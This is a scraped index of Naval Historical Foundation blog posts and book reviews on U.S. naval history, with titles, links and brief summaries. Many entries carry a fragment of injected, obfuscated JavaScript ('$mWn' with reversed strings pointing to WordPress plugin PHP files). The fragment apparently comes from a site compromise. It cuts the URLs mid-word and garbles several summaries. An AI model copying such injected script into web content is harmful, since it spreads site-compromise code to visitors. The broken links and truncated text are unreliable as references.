- [BOOK REVIEW - <em>Zumwalt: The Life and Times of Admiral Elmo Russell “Bud” Zumwalt, Jr.</em>](https://navyhistory.org/2013/10/book-review-zumwalt-life/) - Berman’s book is a recommended read for those interested in naval history. There is much to reflect on in the life and times of this, the youngest Chief of Naval Operations’ career.
- [Turkey, Giblet Gravy, and….Cigarettes?  Former NHHC Staffer Reveals Holiday Menu Collection](https://navyhistory.org/2013/11/turkey-giblet-gravy/) - Former NHHC staffer Jim Dolbow discusses his newfound hobby of collecting vintage holiday menus of ships and naval installations you have to see to believe!
- [Sideburns and Sea Service: A History of Facial Hair in the U.S. Navy](https://navyhistory.org/2013/12/sideburns-sea-service-facial-hair/) - The growing of moustaches and facial hair is a time-honored tradition in American sea service dating back to the War of 1812. Learn the history of facial hair in the U.S. Navy, from the sideburns of 1812 to the Zumwalt-era beards.
- [Thomas O. Selfridge, Jr. and the USS <em>Cairo</em>: The “Jonah Man” of the Civil War Navy](https://navyhistory.org/2013/12/thomas-o-selfridge-jr/) - To borrow a phrase from Henry Carlisle’s 1984 study of Captain George Pollard of the whale ship Essex, Rear Admiral Thomas O. Selfridge, Jr. is the “Jonah Man” of the Civil War Navy. The 1862 destruction of the Cairo is part of the officer’s long relationship with unfortunate events.
- [Vice Admiral Michelle Howard and the Wind of Change for Military Women](https://navyhistory.org/2013/12/vice-admiral-howard/) - Vice Admiral Michelle Howard is slated to become the first female four star Admiral. She will become Navy's highest ranking female officer in its history. Learn about her remarkable story in this NHF blog post.
- [WNY Then and Now: Building No. 142 and 201](https://navyhistory.org/2013/12/wny-then/) - In a new segment titled "WNY: Then and Now," NHF digital content developer Matthew Eng discusses the changing role of buildings 142 and 201 over the course of the last 80 years.
- [World War Two and the Vitamin Sea: Navy Propaganda Posters of the Florida Citrus Commission](https://navyhistory.org/2014/01/world-war-two/) - Have you ever wondered why Orange and Grapefruit Juice are so popular today? Learn about its influence during the Second World War through the Florida Citrus Commission in this week's NHF blog post.
- [In Death Unafraid: History, Memory, and the USS <em>Maine</em> (Part I)](https://navyhistory.org/2014/02/in-death-unafraid-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/regan/) - NHF Digital Content Developer Matthew Eng explores the history and memory of the sinking of the Maine from 1898 to the present day in this series of four blog posts.
- [A Stag Party with President Truman and Some Fleet Admirals](https://navyhistory.org/2014/02/a-stag-party-with-president-truman/) - On May 6, 1947, a party was held in Washington, D.C. Among the honored guests there: A president, a few politicians, and a majority of the most important and influential officers in United States military history. They all came to the "stag party" (according to President Truman's presidential diary entry) to honor General George Marshall,
- [In Death Unafraid: History, Memory, and the USS <em>Maine</em> (Part II)](https://navyhistory.org/2014/02/in-death-unafraid-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/regan/) - NHF Digital Content Developer Matthew Eng explores the history and memory of the sinking of the Maine from 1898 to the present day in this series of four blog posts.
- [Titan?  Try Again: Josiah Tattnall, USS <em>Saratoga</em>, and the 1843 Snow Storm](https://navyhistory.org/2014/03/titan-try-again-josiah-tattnall-uss-sara<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-/) - Winter Storm Titan may be wreaking havoc on the east coast, but a March 1843 storm faced by the Captain and crew of the USS Saratoga almost cost them their lives. Read more about this harrowing and heroic account of Commander Josiah Tattnall.
- [<em>Alfred, Ahoy!</em> Foster Humfreville and His Cryptic Cartoons of World War II](https://navyhistory.org/2014/03/alfred-ahoy-foster-humfreville/) - Most of us are not old enough to remember the "Alfred" comics that appeared in Collier's Weekly Magazine during the Second World War. Find out about this interesting and philosophical simpleton in today's NHF blog post.
- [Take Your Child To Work Day at NMUSN: Missiles, flags, and beads, oh my!](https://navyhistory.org/2014/04/take-your-child-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-st/) - Dozens of kids of all ages came to the National Museum and Cold War Gallery inside the Washington Navy Yard to participate in "Take Your Child to Work Day." The Naval Historical Foundation helped staff members of the NMUSN's education department offer a series of hands-on activities and informative lectures on naval history.
- [“The People Who Fought and Won:” Admiral Harvey Captivates Crowd at 72nd Battle of Midway Celebration Dinner](https://navyhistory.org/2014/06/the-people-who-fought/) - Former Fleet Forces Commander Admiral John Harvey, USN (Ret.) gave a riveting talk on the character and necessity of good sailors and they decisions they made that led to victory at Midway 72 years ago.
- [A Young Man in a Brave New World: William Speiden Jr. and the Opening of Japan](https://navyhistory.org/2014/06/a-young-man-in-a-brave-new-world-william-speiden-jr/) - Book editor David A. Ranzan stopped by the National Museum of the United States Navy this past Wednesday to discuss his newest book, With Commodore Perry to Japan: The Journal of William Speiden Jr., 1852-1855.
- [The Hanoi Hilton and Racial Adversity: Junior Naval Historians Shine at National History Day](https://navyhistory.org/2014/06/the-hanoi-hil<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegd/) - Thousands of excited and energetic students from around the country packed into the University of Maryland’s Comcast Center last Thursday to participate in the awards ceremony for National History Day. The event is the culmination of a busy week for these young scholars.
- [Integrity at the Helm: Gerald R. Ford Museum Exhibit Displays Past, Present, and Future of Aircraft Carriers](https://navyhistory.org/2014/07/integrity-at-the-helm-gerald-r-ford-museum-exhibit-displays-past-present/) - A new museum exhibit in Grand Rapids highlights Ford's naval service and the development of aircraft carriers.
- [So Much More to Learn: Interns Learn History and Hard Work at NMUSN](https://navyhistory.org/2014/08/so-much-more-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegd/) - Luke had Yoda. Plato had Socrates. NMUSN interns have Furgol.
- [Men and Women of Steel: A Labor Day Tribute to Navy Civilians in Times of Peace and War (Photo Essay)](https://navyhistory.org/2014/08/men/) - Do sailors alone win the great victories and triumphs of our naval history? Without the help of Navy civilians, none of these historic events, now canon in naval lore, would be possible.
- [John Paul Jones and Oliver Hazard Perry are “Baddass?” We Knew All Along](https://navyhistory.org/2014/09/john-paul-jones/) - Of course, many of us know John Paul Jones as a daring sailor who helped secure our nation’s independence. Despite what social media says, he will always be that way. That’s not to say Led Zeppelin isn’t great either.
- [Black Shoe Dog at Sea: Wiley and the USS <em>Stephen W. Groves</em>](https://navyhistory.org/2014/09/black-shoe-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/) - It’s no secret that everybody loves dogs. A recent post on our Facebook site led us to discover the interesting story behind a rare ship’s mascot aboard USS Stephen W. Groves on her final deployment.
- [The Never-ending Season: Vietnam POWs and the Lifetime Baseball Pass](https://navyhistory.org/2014/10/the-never-ending-season-vietnam-pows/) - The rectangular pass was no larger than your average credit card. Yet in your possession, you could pass through any the gates of any stadium around the country.
- [From Russia with Love (and Respect): Russian Admiral Visits JPJ Birthplace](https://navyhistory.org/2014/10/from-russia-with-love/) - Before Commander Bond, there was John Paul Jones.
- [BOOK REVIEW - <em>MacArthur and Halsey’s “Pacific Island Hoppers”: The Forgotten Fleet of World War II</em>](https://navyhistory.org/2014/11/book-review-macarthur/) - The main strength of the book is Bruhn’s recounting of the island hopping campaign and the logistics ships in support of it. In order to tell their story, he clearly conducted a good amount of primary research, citing war diaries, ship’s logbooks, etc.
- [Defending the Flag at the Fourteenth Latitude: American Samoa, Fitafita, and the United States Navy](https://navyhistory.org/2015/01/defending-the-flag-at-the-fourteenth-latitude-american-samoa-fitafita/) - The fita
- [Ditty Bag: Atop the Stars and Stripes](https://navyhistory.org/2015/03/ditty-bag-a<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/) - A NHF Collections and Artifact blog by Middendorf Curator Emily Pearce.
- [Mystery Individual Discovered in Paintings and Photographs](https://navyhistory.org/2015/04/mystery-individual-discovered-in-paintings/) - The U.S. Navy is currently on a worldwide search to identify a mysterious individual found in our nation's most celebrated moments of naval history. Recent photographic evidence found deep in the archives of the U.S. Navy suggests one singular man appearing in navy art and photographs throughout the 240 history of the Navy. The man
- [Message from the President: End of the Year Donation and Planned Giving](https://navyhistory.org/2015/11/message-from-the-president-end-of-the-year-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-eg/) - End of the Year Appeal from NHF President Admiral John T. Mitchell, USN (Ret.)
- [Correspondence and Records of Early Navy Submariner Catalogued](https://navyhistory.org/2016/01/correspondence/) - An interesting document collection was recently cataloged by historian and former NHF Director Vice Admiral George Emory, USN (Ret.).
- [Generous Donation Helps Preserve and Make Accessible Valuable Navy Art](https://navyhistory.org/2016/02/generous-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/c/) - In 2016, the Naval Historical Foundation is celebrating its 90th year as a non-profit institution. As a testament to our Foundation’s mission to preserve, educate, and commemorate, we are highlighting instances where we are actively seeking out ways to keep naval history alive for generations to come. By NHF Staff The Navy Art Collection, most
- [Norfolk Shipbuilding Event is Building Block for Fun and Learning](https://navyhistory.org/2016/02/norfolk-shipbuilding-event-is-building-block-for-fun/) - NHF supports the 2016 Brick by Brick LEGO Shipbuilding program at the Hampton Roads Naval Museum in February 2016.
- [A Pilgrimage to Honor and Remember My POW Husband](https://navyhistory.org/2016/02/a-pilgrimage-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegd/) - A guest post by Rosemary Coskey, wife of the late Ken Coskey, Vietnam POW and former NHF Executive Director
- [Submarine History Seminar Recap: Burke, Missiles, and Rickover Reminiscences](https://navyhistory.org/2016/04/submarine-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegd/) - Recap of the 2016 Submarine History Seminar, "41 for Freedom"
- [National Maritime Awards Dinner (NMAD) Recap: The Rising Tide of Our Maritime and Naval Heritage](https://navyhistory.org/2016/05/national-maritime-awards-dinner-nmad-recap-the-rising-tide-of-our-maritime/) - A recap of this year's National Maritime Awards Dinner, co-sponsored with the National Maritime Historical Society.
- [U.S. Naval Leadership in World War I: Discussed and Debated at Greenwich](https://navyhistory.org/2016/06/u-s-naval-leadership-in-world-war-i-discussed/) - A recap of a recent conference attended by NHF historian Dr. David Winkler at the National Maritime Museum, Royals Museums Greenwich, on 3-4 June 2016.
- [Awards, <em>Monitors</em>, and Vectors: 2016 Annual Meeting Recap](https://navyhistory.org/2016/06/awards-moni<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/) - A recap of the 2016 NHF Annual Membership Meeting, including a "Year in Review" and David Leighton Lecture description of Dr. Anna Holloway's of the USS Monitor in popular culture.
- [National History Day 2016 Recap: Fiery Exchanges and Glass Ceilings](https://navyhistory.org/2016/07/national-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdi/) - A recap of the junior and senior division recipients of the Ken Coskey Naval History Prize presented at this year's National History Day Competition in College Park, MD.
- [USS <em>Independence</em> (CVL 22) and Operation Crossroads](https://navyhistory.org/2016/08/uss-independence-cvl-22-2/) - By John G. Lambert
- [USS <em>Independence</em> (CVL 22) and "Operation Galvanic"](https://navyhistory.org/2016/08/uss-independence-cvl-22/) - Guest post by Historian John G. Lambert
- [Dulles and the Naval Historical Foundation: To Join Or Not to Join?](https://navyhistory.org/2017/03/dulles/) - The Former CIA Director Faced a Dilemma: To Join NHF, or Not to Join NHF?
- [A World War II Heroism Medal Lost and Found: The Saga of Ensign Lee Roy McDonnell’s Posthumous Navy and Marine Corps Medal](https://navyhistory.org/2017/11/a-world-war-ii-heroism-medal-lost/) - Ensign McDonnell went missing in action that night of February 16, 1945, in the aftermath of the suicide boat attack, as he attempted to save his shipmates. With the help of NHF, Lee Roy McDonnell’s medal, and his story, have come home.
- [<em>Fleet Admiral Leadership Seminar and Roundtable</em>](https://navyhistory.org/2018/04/fleet-admiral-leadership-seminar-2/) - The Fleet Admiral Leadership Seminar and Roundtable With the 75th anniversary of the creation of the rank of Fleet Admiral next year, and in conjunction with a Five-Star Mess Night scheduled for the Saturday May 19 NHF members and friends are invited to attend an informative and thought-provoking morning on
- [<em>Fleet Admiral Leadership Seminar and Roundtable<em/>](https://navyhistory.org/2018/04/fleet-admiral-leadership-seminar/) - Reserve your free seat! The Fleet Admiral Leadership Seminar and Roundtable You are cordially invited to attend the Fleet Admiral Leadership Seminar and Roundtable Wednesday, May 16, 2018 8:30 a.m. - Noon Navy Museum Washington Navy Yard, 805 Kidder Breese SE, Washington DC, 20374-5060 With the 75th anniversary of the
- [Remembering the Battle of Leyte Gulf and Lt. Jack Taylor](https://navyhistory.org/2019/07/remembering-the-battle-of-leyte-gulf/) - This October 24th will mark the 75th Anniversary of the Battle of Leyte Gulf, the largest naval battle in history and a watershed moment in World War II. The Naval Historical Foundation remembers our friend and selfless supporter, Lt. Jack Taylor. Jack Taylor passed away at the age of 94 in July of 2016, but his legacy continues
- [2020 Teachers of Distinction and National History Day](https://navyhistory.org/2020/07/2020-teachers-of-distinction/) - By CAPT Jim Noone, USNR (Ret.) Seven middle and high school teachers from five states were recognized as winners of the Naval Historical Foundation’s (NHF) “Teacher of Distinction” award at the National History Day (NHD) virtual awards recognition announcements on Saturday, June 20. It was the third consecutive year for NHF’s Teacher of Distinction awards,
- [Second Saturday Webinar - The Mustin Family and the Navy Reserve: A Thirteen Decade Legacy](https://navyhistory.org/2020/07/second-saturday-webinar-the-mustin-family/) - On the occasion of Vice Admiral John Mustin’s promotion and assumption of Command of the Navy Reserve, the Naval Historical Foundation is pleased to host another 'Second Saturday' Webinar at 11:00am (EDT) August 8: "The Mustin Family and the Navy Reserve: A Thirteen Decade Legacy" This webinar will feature dueling authors with NHF's Dave Winkler
- [BOOK REVIEW: Warriors and Wizards - The Development and Defeat of Radio Controlled Glide Bombs of the Third Reich](https://navyhistory.org/2011/08/book-review-warriors/) - This is a very interesting and superbly written book about German glide bombs, a relatively little-known weapon used against the Allied Navies
- [BOOK REVIEW: Project AZORIAN - the CIA and the Raising of the K-129](https://navyhistory.org/2011/09/book-review-project-azorian-the-cia/) - BOOK REVIEW: Project AZORIAN - the CIA and the Raising of the K-129 by Norman Polmar and Michael White
- [BOOK REVIEW: Manila and Santiago - The New Steel Navy in the Spanish-American War](https://navyhistory.org/2011/10/book-review-manila/) - BOOK REVIEW: Manila and Santiago - The New Steel Navy in the Spanish-American War by Jim Leeke
- [Call for Papers: Global-Regional Nexus - The Sea and the Second World War](https://navyhistory.org/2011/10/call-for-papers-global-regional-nexus-the-sea/) - King's College London War Studies Group and Global War Studies announce conference on impact of the sea on conduct, experience, and legacy of Second World War
- [Merry Christmas and Happy Holidays!](https://navyhistory.org/2011/12/merry-christmas/) - A photo of the battleship USS Iowa lit up for Christmas. Merry Christmas and Happy Holidays from the Naval Historical Foundation
- [BOOK REVIEW: How History's Greatest Pirates Pillaged, Plundered, and Got Away with It - The Stories, Techniques, and Tactics of the Most Feared Sea Rovers from 1500-1800](https://navyhistory.org/2012/02/book-review-how-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam/) - REVIEW: How History's Greatest Pirates Pillaged, Plundered, and Got Away with It-The Stories, Techniques, and Tactics of the Most Feared Sea Rovers 1500-1800
- [Navy Museum and Museum Store Closed Thurs-Sat, 22-24 March](https://navyhistory.org/2012/03/navy-museum/) - The Navy will be conducting Exercise SOLID CURTAIN-CITADEL SHIELD 2012 this week, both the Navy Museum and the Museum Store will be closed 22-24 March
- [Craig Symonds: Connecting the War of 1812 and the Battle of Midway](https://navyhistory.org/2012/06/craig-symonds-connecting-war-of-1812/) - Dr. Craig Symonds delivered a speech in June 2012 drawing a parallel between the aftermaths of the Battle of Lake Erie and the Battle of Midway
- [DUAL BOOK REVIEW: <em>US Submarines 1900-35</em> and <em>Defeating the U-Boat: Inventing Antisubmarine Warfare</em>](https://navyhistory.org/2012/06/book-review-us-submarines/) - Book Reviews: US Submarines 1900-35 by Jim Christley, and Defeating the U-Boat: Inventing Antisubmarine Warfare by Jan S. Breemer, reviewed by James-Joseph Ahern
- [BOOK REVIEW: <em>Tirpitz</em> - The Life and Death of Germany's Last Super Battleship](https://navyhistory.org/2012/06/book-review-tirpitz-life/) - Zetterling and Tamelander tell the story of Tirpitz, Germany's last super battleship, and the desperate, if not obsessive, efforts by the British to destroy her
- [BOOK REVIEW: The US Navy and the War in Europe](https://navyhistory.org/2012/09/book-review-the-us-navy/) - Stern writes vigorously and convincingly about the significance of U.S. naval operations, whether the actions of amphibious forces in Operations Torch, Husky, Avalanche, Shingle, Neptune/Overlord, and Dragoon (the invasions of North Africa, Sicily, Salerno, Anzio, Normandy, and Southern France).
- [BOOK REVIEW: Counterinsurgency Leadership in Afghanistan, Iraq, and Beyond](https://navyhistory.org/2012/09/book-review-counterinsurgency-leadership-in-afghanistan-iraq/) - Schlosser and Caiella have assembled and edited a series of presentations at a Marine Corps University symposium in 2009, which carried the same title as this book
- [BOOK REVIEW - <em>Silent Killers: Submarines and Undersea Warfare</em>](https://navyhistory.org/2012/10/book-review-silent-killers-submarines/) - Dr. James P. Delgado, author of Silent Killers, is extremely well qualified to present the history of man's desire to go beneath the sea.
- [BOOK REVIEW - <em>Admiral Insubordinate: The Life and Times of Lord Beresford</em>](https://navyhistory.org/2012/11/book-review-admiral-insubordinate-life/) - The book is well-written and merits a wide reading audience for those who are interested in the naval history of the late 1800’s and early 1900’s, including World War I
- [BOOK REVIEW - <em>Hitler's Ghost Ships:</em> Graf Spee, Scharnhorst<em>, and Disguised German Raiders</em>](https://navyhistory.org/2012/11/book-review-hitlers-ghost-ships-graf-spee-scharnhorst/) - This volume would appear to be the beginning of an important new set of books on the Royal Navy in World War II.
- [Call for Papers: Press Gangs, Conscripts and Professionals - Recruiting the Royal Navy from the Age of Sail to the Present Day](https://navyhistory.org/2013/01/call-for-papers-press-gangs-conscripts/) - This conference will explore how the Royal Navy recruited its personnel from its earliest times to the present day
- [BOOK REVIEW - <em>A Plain Sailorman in China: The Life and Times of Cdr. I. V. Gillis, USN, 1875-1948</em>](https://navyhistory.org/2013/01/book-review-plain-sailorman-china-life/) - This book provides a valuable contribution to the early history of naval intelligence gathering in East Asia
- [BOOK REVIEW - <em>America’s Black Sea Fleet: The U.S. Navy Amidst War and Revolution, 1919-1923</em>](https://navyhistory.org/2013/01/book-review-americas-black-sea-fleet-the-u-s-navy-amidst-war/) - This book provides a historical account of the post-World War I history where revolutionary and nationalistic forces are rising to fill the voids left by the toppled Russian Monarchy and collapsed Ottoman Empire
- [Expedition Deep Ocean: The First Descent to the Bottom of All Five of the World's Oceans](https://navyhistory.org/2021/05/expedition-deep-ocean-the-first-descent-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-/) - Reviewed by John Grady New York Times bestselling author Josh Young's Expedition Deep Ocean brings to life a detailed portrait of Victor Vescovo. A very rich Texas equity-fund founder and Navy intelligence reservist educated at MIT, Harvard, and Stanford, Vescovo flew fixed-wing and rotary aircraft and climbed the world's seven highest mountains, but his latest
- [BOOK REVIEW - <em>In the Shadow of Greatness: Voices of Leadership, Sacrifice, and Service from America’s Longest War</em>](https://navyhistory.org/2013/03/book-review-in-the-sha<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/rega/) - In the Shadow of Greatness will endure as an important first person narrative of this global war.
- [BOOK REVIEW - <em>The German and the Austrian Navies: Vol. I and II</em>](https://navyhistory.org/2013/08/book-review-the-german-2/) - In summary these volumes are a remarkable compendium or catalogue of the warships of the German speaking peoples.
- [BOOK REVIEW - <em>Congo: The Miserable Expeditions and Dreadful Death of Lt. Emory Taunt, USN</em>](https://navyhistory.org/2013/08/book-review-congo-miserable-expeditions/) - Congo reads like a horror story, mesmerizing yet appalling. Well-illustrated, written in an engaging manner, it is excellent, well-researched history.
- [BOOK REVIEW - <em> Fallujah Awakens: Marines, Sheiks and the Battle Against al Qaeda </em>](https://navyhistory.org/2013/11/book-review-fallujah-awakens-marines-sheiks/) - Long War Journal associate Editor Bill Ardolino discusses his experience dealing with counterinsurgency warfare and the third battle of Fallujah during two extended embeds in 2007 Iraq. "People are the prize," according to Ardolino.
- [BOOK REVIEW - </em> Hero of the Angry Sky: The World War I Diary and Letters of David S. Ingalls, America's First Naval Ace </em>](https://navyhistory.org/2013/11/book-review-hero-of-the-angry-sky-the-world-war-i-diary/) - Hero of the Angry Sky tells the unique story of World War I Navy flying ace LT Dave S. Ingalls and his ascendency as the service's first ace pilot. Ingalls' diary is both a war memory and biography of an influential naval aviation pioneer.
- [BOOK REVIEW - <em> Shield of Dreams: Missile Defense and U. S. – Russian Nuclear Strategy </em>](https://navyhistory.org/2013/11/book-review-shield-of-dreams-missile-defense/) - Shield of Dreams discusses missile defense strategy and policy and its relations to Russian-U.S. nuclear arms control and deterrence throughout the Cold War.
- [BOOK REVIEW - Victory:  <em>From Fighting the Armada to Trafalgar and Beyond </em>](https://navyhistory.org/2013/12/book-review-vic<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-ste/) - ictory, the subject of this volume first issued during the 2005 bicentennial of Britain’s victory at Trafalgar, was intertwined with Nelson’s entire life and naval career, although he neither served on nor commanded her until she became his fleet flagship in 1803.
- [Pacific Adversaries Volume 3: Imperial Japanese Navy vs. The Allies, New Guinea & the Solomons 1942-1944](https://navyhistory.org/2021/05/pacific-adversaries-volume-3-imperial-japanese-navy-vs-the-allies-new-guinea-the-solomons-1942-1944/) - Reviewed by LCDR Brian Hayes, USN (Ret.) Michael Claringbould has authored or co-authored more than a dozen works on World War II Pacific aviation, and as the title suggests, he previously produced two similar collections focused on New Guinea and the Solomons. This book is a collection of fifteen accounts of aviation operations in the
- [BOOK REVIEW - <em>Pushing The Limits – The Remarkable Life and Times of Vice Adm. Allan Rockwell McCann, USN</em>](https://navyhistory.org/2014/02/book-review-pushing-the-limits-the-remarkable-life/) - Frequent book review contributor Charles Bogart reviews Carl LaVO's latest biography of Admiral Allan Rockwell McCann, a pioneer in undersea warfare and the submarine service.
- [BOOK REVIEW - <em>Poseidon and the PC – The Letters of Lt. Paul W. Neidhardt</em>](https://navyhistory.org/2014/02/book-review-posei<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-s/) - Book review contributor Charles Bogart reviews Poseidon and the PC, a collection of letters from then Ensign Paul Neidhardt. Neidhardt served on two PCs during the Second World War.
- [BOOK REVIEW - <em>AMERICAN AMPHIBIOUS GUNBOATS IN WORLD WAR II: A History of LCI and LCS(L) Ships in the Pacific</em>](https://navyhistory.org/2014/02/book-review-american-amphibious-gunboats-in-world-war-ii-a-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.l/) - Unlike most books of this type which stop at the conclusion of their U.S. Navy service, this book continues on with each ships service, especially the LCS(L)’s, (later LSSL’s) in their French, Japanese, South Vietnamese and/or Philippine service.
- [BOOK REVIEW - <em>Race to the Top of the World: Richard Byrd and the First Flight to the North Pole</em>](https://navyhistory.org/2014/04/book-review-race-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-s/) - Race to the Top of the World, by Sheldon Bart, not only opens again the question if Richard E. Byrd reached the North Pole on May 9, 1926, but provides an extremely detailed account of the events that led to Byrd’s attempt to reach the North Pole by plane and most importantly explains the various innovations in the field of navigation required for beginning such an endeavor.
- [BOOK REVIEW  - <em>At the Crossroads Between Peace and War:  The London Naval Conference of 1930</em>](https://navyhistory.org/2014/04/book-review-at-the-crossroads-between-peace/) - The balanced essays appearing in At the Crossroads recount the conference from the perspective of each of the protagonists. Each essayist manages to say something new about something old. Johns Ferris and Kuehn do so perhaps explicitly, tying the conference to key sub-genres of historiography, with all relating their portion of the story displaying scholarship and finesse.
- [BOOK REVIEW - <EM>You Cannot Surge Trust: Combined Naval Operations of the Royal Australian Navy, Canadian Navy, Royal Navy, and United States Navy, 1991-2003</EM>](https://navyhistory.org/2014/04/book-review-you-cannot-surge-trust-combined-naval-operations-of-the-royal-australian-navy-canadian-navy-royal-navy/) - Throughout the volume, the authors emphasize the role of relationships and trust in determining the success or failure of coalitions. While technical arrangements and standardized equipment enable naval forces to “talk” to one another, this work repeatedly demonstrates that personal relationships and familiarity are the indispensable glue of coalitions.
- [BOOK REVIEW - <em>The Unseen War:  Allied Air Power and the Takedown of Saddam Hussein</em>](https://navyhistory.org/2014/04/book-review-the-unseen-war-allied-air-power/) - Like that book, this is a published version of his work for RAND. His thesis is clear and up front: “…the three weeks of major combat that ended Hussein’s rule are a case-book example of successful joint and combined warfare at the operational and tactical levels…”
- [BOOK REVIEW - <em>In Service To Their Country: Christchurch School and the American Uniformed Services</em>](https://navyhistory.org/2014/05/book-review-in-service-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reg/) - uthor Alexander Monroe argues that Christchurch School has imbued its students with an outlook that mirrors military values – duty, integrity, discipline and respect for order and tradition. These values led many of its alumni into uniformed service. Early chapters discuss the various wars the school’s graduates have fought in, from World War II to Iraq and Afghanistan.
- [BOOK REVIEW - <em>The Secret War for the Middle East: The Influence of Axis and Allied Intelligence Operations during World War II</em>](https://navyhistory.org/2014/05/book-review-the-secret-war-for-the-middle-east-the-influence-of-axis/) - The Secret War for the Middle East: The Influence of Axis and Allied Intelligence Operations during World War II should not be confused with Andrew Rathmell’s Secret War in the Middle East: The Covert Struggle for Syria, 1949-1961, an enlightening and in-depth study of Syrian politics and foreign relations between 1949 and 1961.
- [BOOK REVIEW - <em>The Sea and Civilization: A Maritime History of the World</em>](https://navyhistory.org/2014/06/book-review-the-sea/) - This book could easily be titled, “The Greatest Sea Story Ever Told.” The subtitle proffers the scope of the work, which Lincoln Paine delivers in grand style.
- [BOOK REVIEW - <em>The Port Chicago 50: Disaster, Mutiny, and the Fight for Civil Rights</em>](https://navyhistory.org/2014/06/book-review-the-port-chicago-50-disaster-mutiny/) - How do you explain racism to teenagers—specifically, the existence of institutionalized racism and segregation in the U.S. Navy during most of its history?
- [BOOK REVIEW - <em>To North Vietnam and Back Again: A Personal Account of Navy A-6 Intruder in Vietnam</em>](https://navyhistory.org/2014/07/book-review-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdi/) - Historians will gain insight into the complexity of the Navy’s air war in Vietnam. Engle’s background as an engineer adds a technical depth to the analysis of wartime operations that puts the reader in the cockpit with aviators as they fly dangerous missions.
- [BOOK REVIEW - <em>The Lucky Few: The Fall of Saigon and the Rescue Mission of the USS </em><em>Kirk</em>](https://navyhistory.org/2014/07/book-review-the-lucky-few-the-fall-of-saigon/) - This task force and the Destroyer-Escort USS Kirk have both been overlooked for nearly four decades. That these stories have come to life is due to the efforts of historian and documentarian Jan K. Herman, who produced both a documentary as well and this fine volume.
- [Victor Delano, Naval Hero and Friend of NHF, Passes](https://navyhistory.org/2014/09/vic<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rot/) - The Naval Historical Foundation lost a good friend and dedicated member last week. Victor Delano, U.S. Navy Captain (retired) and Pearl Harbor survivor, died on Monday, August 25th, at Casey House in Rockville, Maryland. Delano was 94 years old.
